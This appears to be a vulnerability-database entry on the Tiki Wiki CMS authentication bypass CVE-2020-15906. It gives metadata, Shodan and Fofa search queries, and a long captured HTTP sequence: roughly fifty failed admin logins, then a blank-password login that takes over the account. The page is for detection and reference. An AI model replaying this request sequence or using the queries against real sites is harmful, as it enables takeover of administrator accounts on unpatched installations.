🔙 목록으로 돌아가기

CVE-2020-15906: Tiki Wiki CMS GroupWare - Authentication Bypass

TitleTiki Wiki CMS GroupWare - Authentication Bypass
AuthorJeonSungHyun[nukunga],gy741,oIfloraIo,nechyo,harksu
SeverityCritical
ImpactUnauthenticated attackers can trigger 50 failed login attempts to reset the admin password to blank, gaining complete administrative access to the Tiki Wiki CMS and all its content.
RemediationUpgrade to Tiki Wiki CMS version 21.2 or later.
CVSS Score9.8
EPSS Score0.91138
CVE IDCVE-2020-15906
CWE IDCWE-307
Shodan Querytitle:"Tiki Wiki CMS"
Fofa Querytitle="Tiki Wiki CMS"
Tags packetstorm cve cve2020 tiki wiki auth-bypass vuln

🔍 Vulnerability Description

tiki-login.php in Tiki before 21.2 sets the admin password to a blank value after 50 invalid login attempts.

🌐 HTTP Request

GET /tiki-login_scr.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=nkQ0yYzgF5Er&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=CfXp2VbQz8Er&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=P5UdGflH48W3&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=7zNtKh3WqF5L&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=8zKtGnh4dW5R&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=bG4RxHpY2MdQ&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Lh3K6vPzM9Xn&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=xFq7vKNLmhZp&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=v3LdX8GmQ5Kn&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=M2XdL5GrY9Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/614.31.14 (KHTML, like Gecko) Version/17.0.96 Safari/614.31.14
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Q5GhY2VrX7Jk&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=r9KdL4PhY6Gm&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=L5WnQ9KzY8Pr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=W4NzX6PqL3Ft&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/6.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=C7KzLmP5X9Vh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=8XjVq5LhZ2Kr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Y8rQ2GpLx9Kn&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=8GrX5NqL2KhY&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=G7JqX5VbM2Kp&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=N2XdY5PqL9Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=N6YzP8WkL5Xt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=J5LhY2VqX9Kr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.10 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=H4PrX8LkY6Gm&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=M9XdL5PqY4Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Mobile/15E148 Safari/604.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=K4WnY9PzM8Xt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=V7LkX5PrY2Gt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=H9PrL5XkY2Gm&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=N8LhY2VqX5Gr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Q7XkL5PrY9Gm&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=M4XkY2LqV5Gt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.12
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=W4LhY8KzM5Xt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=N5XdL9PqY8Kr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.4 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=G5JqX2VrY9Kp&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=P8XnL5VrY2Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=L2WnY9KzX8Pr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Q2XkL5PrY8Vh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Q4JqX9LhY5Gr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=9JhL4VqX5GrM&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=W8LhY5PrX2Kz&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=X4LhY8WnM5Kp&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=L8WnX5KzY9Pr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=J4LhY5VqX9Kr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=M7XkY9LhP2Gr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=H7PrX8KzY2Gm&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=P5WnY2KzL8Gt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=G4JqL5XkY9Vr&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=2JqL5VrY8Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=Q2JqL5VrY8Kh&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=G2JqL5VrY9Kt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login_scr.php
Accept-Encoding: gzip
Connection: close

ticket=HDFuPQ&user=admin&pass=N9XkY2LqP5Gt&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
GET /tiki-login_scr.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
POST /tiki-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
Referer: //tiki-login.php
Accept-Encoding: gzip

ticket=9Tjaja&user=admin&pass=&login=&stay_in_ssl_mode_present=y&stay_in_ssl_mode=n
GET /tiki-index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15906.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-15906.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A